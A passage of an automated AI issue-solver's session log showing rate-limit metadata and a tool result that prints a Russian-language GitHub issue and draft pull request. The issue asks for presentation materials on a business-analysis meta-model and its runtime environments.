\"type\": \"direct\"\n[2026-09-29T07:43:34.489Z] [INFO]         }\n[2026-09-29T07:43:34.489Z] [INFO]       }\n[2026-09-29T07:43:34.489Z] [INFO]     ],\n[2026-09-29T07:43:34.489Z] [INFO]     \"container\": null,\n[2026-09-29T07:43:34.489Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:43:34.489Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:43:34.489Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:43:34.489Z] [INFO]     \"usage\": {\n[2026-09-29T07:43:34.489Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:43:34.489Z] [INFO]       \"cache_creation_input_tokens\": 10471,\n[2026-09-29T07:43:34.489Z] [INFO]       \"cache_read_input_tokens\": 8432,\n[2026-09-29T07:43:34.489Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:43:34.489Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:43:34.489Z] [INFO]         \"ephemeral_1h_input_tokens\": 10471\n[2026-09-29T07:43:34.489Z] [INFO]       },\n[2026-09-29T07:43:34.489Z] [INFO]       \"output_tokens\": 17,\n[2026-09-29T07:43:34.489Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:43:34.489Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:43:34.489Z] [INFO]     },\n[2026-09-29T07:43:34.489Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:43:34.489Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:43:34.489Z] [INFO]     \"context_management\": null\n[2026-09-29T07:43:34.489Z] [INFO]   },\n[2026-09-29T07:43:34.489Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:34.489Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:34.489Z] [INFO]   \"uuid\": \"334e1245-eecb-402a-8fc3-edd51db89c36\",\n[2026-09-29T07:43:34.489Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:34.467Z\",\n[2026-09-29T07:43:34.489Z] [INFO]   \"request_id\": \"req_011CfXMcSSz7Zkgr1LoJRxVq\",\n[2026-09-29T07:43:34.489Z] [INFO]   \"wire_tool_inputs\": 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[INFO]   \"rate_limit_info\": {\n[2026-09-29T07:43:34.574Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T07:43:34.574Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T07:43:34.574Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T07:43:34.574Z] [INFO]     \"utilization\": 0.76,\n[2026-09-29T07:43:34.574Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T07:43:34.574Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T07:43:34.574Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T07:43:34.574Z] [INFO]       \"five_hour\": {\n[2026-09-29T07:43:34.574Z] [INFO]         \"utilization\": 0.35,\n[2026-09-29T07:43:34.574Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T07:43:34.574Z] [INFO]       },\n[2026-09-29T07:43:34.574Z] [INFO]       \"seven_day\": {\n[2026-09-29T07:43:34.574Z] [INFO]         \"utilization\": 0.76,\n[2026-09-29T07:43:34.574Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:43:34.574Z] [INFO]       }\n[2026-09-29T07:43:34.574Z] [INFO]     }\n[2026-09-29T07:43:34.574Z] [INFO]   },\n[2026-09-29T07:43:34.574Z] [INFO]   \"uuid\": \"f7b03362-ebe1-499b-846d-a8ee1c36e7a1\",\n[2026-09-29T07:43:34.574Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:43:34.574Z] [INFO] }\n[2026-09-29T07:43:41.361Z] [INFO] {\n[2026-09-29T07:43:41.361Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"task_id\": \"bwnxdnjo2\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"tool_use_id\": \"toolu_01ASHSoxKeCAEc5sqybab48J\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"description\": \"View issue, comments, and PR\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:43:41.361Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"uuid\": \"c4a06778-69f2-4252-9b90-71bdeba8d4bf\",\n[2026-09-29T07:43:41.361Z] [INFO]   \"session_id\": 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\u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u043d\u0435\u0441\u0442\u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0443\u044e \u0437\u0440\u0435\u043b\u043e\u0441\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0435\u0433\u043e \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u044f \u043e\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u0432 \u0438 \u0447\u0435\u0442\u043a\u0438\u0439 \u043f\u043b\u0430\u043d \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043e\u043f\u0438\u0440\u0430\u044f\u0441\u044c \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u043f\u044b\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u0430.\\n\\n**\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b (SSOT):**\\n\u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c **\u043e\u0431\u044f\u0437\u0430\u043d** \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u0440\u0430\u0436\u0430\u043b\u0430 \u043d\u0435 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u0443\u044e \u0442\u0435\u043e\u0440\u0438\u044e, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e:\\n1. **\u0422\u0435\u043a\u0443\u0449\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0425\u0430\u0431\u0430:** \\n   - `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process` (\u0432\u043a\u043b\u044e\u0447\u0430\u044f `docs/adr/`, `docs/analysis/`, `meta-model/`).\\n   - \u041d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u0430\u0443\u0434\u0438\u0442\u044b: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md`\\n2. **\u041f\u0440\u0435\u0434\u044b\u0441\u0442\u043e\u0440\u0438\u044f \u0438 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 (\u0421 \u0447\u0435\u0433\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438):**\\n   - \u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 `https://github.com/G-Ivan-A/mango_ba_prompts` (\u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 60 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0437\u0430\u0434\u0430\u0447, \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043e\u0442 \u0445\u0430\u043e\u0442\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438).\\n   - \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0411\u0410 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/issue-639-405767e7672e/research/ba-requirements\\n- \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044f\u0441\u044c \u043f\u043e \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\\n\\n**\u0426\u0435\u043b\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b (\u0427\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442\u043e):**\\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c **\u0434\u0432\u0430 \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430**, \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u044f \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0443\u0447\u0448\u0438\u0435 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438\u043d\u0446\u0438\u043f Assertion-Evidence, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0437\u043c \u0442\u0435\u043a\u0441\u0442\u0430, \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430).\\n\\n**\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 1: \u0428\u0430\u0431\u043b\u043e\u043d \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 (\u0421\u043b\u0430\u0439\u0434\u044b)**\\n\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 (\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u0442\u043e\u0447\u043d\u044b\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0430\u043c \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f):\\n1. **\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f:** \u0411\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 (\u0432\u044b\u0441\u043e\u043a\u0430\u044f \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c, \u043a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441).\\n2. **\u0411\u043e\u043b\u044c:** \u0420\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0422\u0417, \u0440\u0443\u0447\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0440\u0438\u0441\u043a \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n3. **\u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438:** \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442.\\n4. **\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 (\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u2192 \u0420\u0435\u0448\u0435\u043d\u0438\u0435):** \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0418\u0418. \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \\\"\u043c\u044b\u0441\u043b\u044c\\\", \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0438\u0445 \u0432 \u0436\u0435\u0441\u0442\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0438 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b (fail-closed \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f).\\n5. **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u044c (\u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440):** \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u2192 \u0421\u0432\u0435\u0440\u043a\u0430 \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439/\u043a\u0435\u0439\u0441\u0430\u043c\u0438 \u2192 \u041c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u043c \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2192 \u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 (G-human) \u2192 \u0410\u0432\u0442\u043e\u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043b\u044f \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430/\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438.\\n6. **\u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:** \u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (GigaCode CLI / Cline) \u2192 \u0412\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f: \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 (\u0421\u0440\u0435\u0434\u0430 4) \u0441 \u0435\u0434\u0438\u043d\u044b\u043c \u044f\u0434\u0440\u043e\u043c-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c.\\n7. **\u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435:** \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043a\u0430\u043a \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n\\n*\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u0441\u043b\u0430\u0439\u0434\u0443:* \u041d\u043e\u043c\u0435\u0440, \u0435\u043c\u043a\u0438\u0439 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\u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u0443\u0447\u0448\u0438\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f C-level/Head of AI \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438. \u041c\u044b \u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u043c \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u043f\u043e\u0434 \u043d\u0430\u0448\u0443 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0443.\\ntitle:\\t[WIP] title: \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\\"\\nstate:\\tDRAFT\\nauthor:\\tkonard (Konstantin Diachenko)\\nlabels:\\t\\nassignees:\\tkonard (Konstantin Diachenko)\\nreviewers:\\t\\nprojects:\\t\\nmilestone:\\t\\nnumber:\\t648\\nurl:\\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\\nadditions:\\t1\\ndeletions:\\t0\\nauto-merge:\\tdisabled\\n--\\n## \ud83e\udd16 AI-Powered Solution Draft\\n\\nThis pull request is being automatically generated to solve issue #646.\\n\\n### \ud83d\udccb Issue Reference\\nFixes #646\\n\\n### \ud83d\udea7 Status\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\n\\n### \ud83d\udcdd Implementation Details\\n_Details will be added as the solution draft is developed..._\\n\\n---\\n*This PR was created automatically by the AI issue solver*\\ncommit 611336aa85daea757b56bcbe7dbb14fdd0356d9f\\nAuthor: konard \\nDate:   Tue Sep 29 07:43:01 2026 +0000\\n\\n    Initial commit with task details\\n    \\n    Adding .gitkeep for PR creation (default mode).\\n    This file will be removed when the task is complete.\\n    \\n    Issue: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\n\\n .gitkeep | 1 +\\n 1 file changed, 1 insertion(+)\",\n[2026-09-29T07:43:42.041Z] [INFO]         \"is_error\": false\n[2026-09-29T07:43:42.041Z] [INFO]       }\n[2026-09-29T07:43:42.041Z] [INFO]     ]\n[2026-09-29T07:43:42.041Z] [INFO]   },\n[2026-09-29T07:43:42.041Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:42.041Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:42.041Z] [INFO]   \"uuid\": \"1f124a6d-cdab-4055-b2d5-def8a55d5317\",\n[2026-09-29T07:43:42.041Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:42.029Z\",\n[2026-09-29T07:43:42.041Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:43:42.041Z] [INFO]     \"stdout\": \"title:\\ttitle: \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\\"\\nstate:\\tOPEN\\nauthor:\\tG-Ivan-A (Ivan Gulienko)\\nlabels:\\t\\ncomments:\\t0\\nassignees:\\t\\nprojects:\\t\\nmilestone:\\t\\nissue-type:\\t\\nparent:\\t\\nsub-issues:\\t\\nsub-issues-completed:\\t\\nblocked-by:\\t\\nblocking:\\t\\nnumber:\\t646\\n--\\n---\\nlabels: \\\"creative, documentation, presentation, executive-summary\\\"\\n---\\n\\n**Operating Mode:** `Creative` \u00b7 **Task Type:** `Documentation/Presentation` \u00b7 **Lead:** Tech Lead / Architect\\n\\n**User Story:**\\n\u041a\u0430\u043a \u0444\u0430\u0443\u043d\u0434\u0435\u0440, \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u043d\u0435\u0441\u0442\u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0443\u044e \u0437\u0440\u0435\u043b\u043e\u0441\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0435\u0433\u043e \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u044f \u043e\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u0432 \u0438 \u0447\u0435\u0442\u043a\u0438\u0439 \u043f\u043b\u0430\u043d \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043e\u043f\u0438\u0440\u0430\u044f\u0441\u044c \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u043f\u044b\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u0430.\\n\\n**\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b (SSOT):**\\n\u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c **\u043e\u0431\u044f\u0437\u0430\u043d** \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u0438 